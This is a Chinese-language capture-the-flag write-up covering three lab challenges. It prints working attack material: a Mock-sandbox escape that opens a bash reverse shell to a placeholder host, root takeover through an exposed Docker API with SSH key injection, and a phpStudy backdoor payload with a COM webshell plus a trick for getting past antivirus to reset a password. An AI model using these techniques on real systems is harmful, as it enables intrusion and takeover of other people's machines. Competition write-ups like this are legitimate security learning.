虽然打得很菜(),但是第一次遇到这种赛制,还是记录一下。
战队信息
战队名称:Besti学研组
战队排名:31
个人排名:24
快乐行程
一
参考资料:https://developer.aliyun.com/article/1338885
nmap 扫描端口,发现开放22(ssh)和3000,其中3000可以通过HTTP访问。
打开3000端口的网页,注册一个账号,信息随便填,注册后进入后台,创建一个接口,选择高级Mock,添加一下代码命令并进行保存,再次点击预览访问Mock地址可查看执行结果。
反弹shell代码如下:
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("bash -c 'bash -i >&/dev/tcp/xxx.xxx.xxx.xxx/2333 0>&1'").toString()
获取到shell后,直接输入命令 sudo cat /root/flag
即可得到 flag。
二
ifconfig
获取主机A的“内网”接口地址,使用nmap命令 sudo nmap -sP 192.168.xxx.xxx/xx
扫描网段内的主机,找到主机B(192.168.99.77)后,使用 sudo nmap -sS 192.168.99.77
进行端口扫描,发现主机B开放了2375端口(Docker),2375是docker远程操控的默认端口,通过这个端口可以直接对远程的docker daemon进行操作。
使用 docker -H tcp://192.168.99.77:2375 ps
命令,发现可以操作且没有ssl验证。于是直接输入命令启动一个镜像:
docker -H tcp://192.168.99.77:2375 pull ubuntu
docker -H tcp://192.168.99.77:2375 run --rm -it --entrypoint bash -v /root:/tmp/root -v /etc/ssh:/tmp/ssh_etc -v /var/log:/tmp/log ubuntu
然后进行ssh pub key注入,生成一对新的pub key:
ssh-keygen -t rsa -C "hello@world.com"
save_path:/tmp/id_rsa
在容器中执行:
cat >> /tmp/root/.ssh/authorized_keys <<EOF
>ssh-rsa AAA.....(公钥)
>EOF
然后可以登录宿主机:
ssh -i /tmp/id_rsa root@192.168.99.77
登录后直接 cat flag
即可
温故而知新
nmap 扫描端口,发现开放3306(mysql)、3389(远程桌面连接)、7680、8080(HTTP),其中3306无法直接用mysql远程连接,7680不知道干什么的,直接访问8080,显示helloworld,扫描目录只能扫到一个 config.inc.php
。
根据Web特征值进行搜索,发现漏洞:【漏洞复现】phpstudy隐藏后门漏洞的验证与利用_phpstudy写webshell报错-CSDN博客
构造如下HTTP请求:
GET /config.inc.php HTTP/1.1
Host: 10.119.211.106:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding:gzip,deflate
Accept-Charset:cGhwaW5mbygpOw==
Accept-Language: zh-CN,zh;q=0.9
Connection: close
即可执行Accept-Charset中Base64解码后的php代码,如图:
接下来就比较简单了,尽管所有命令执行函数都被ban,但是文件操作函数不受影响,于是使用print_r(scandir("C://Users/"));
查看目录,发现idss用户,接着直接 print_r(file_get_contents("C://Users/idss/Desktop/flag"));
得到flag。
也可以使用
$command = $_GET['cmd'];$wsh = new COM('WScript.shell'); $exec = $wsh->exec("cmd /c".$command); $stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;$stdout = $exec->StdErr();$stroutput = $stdout->ReadAll();echo $stroutput;
进行系统命令执行。接下来利用dir读取目录,type读取文件,也能读取flag。
更进一步,net user idss 111111111
修改密码会被火绒屏蔽,于是使用命令:
copy C:\Windows\System32\net1.exe C:\phpStudy\PHPTutorial\WWW\
C:\phpStudy\PHPTutorial\WWW\net1.exe user idss 111111111
即可成功修改idss用户的密码,接下来就可以使用Windows远程桌面进行连接。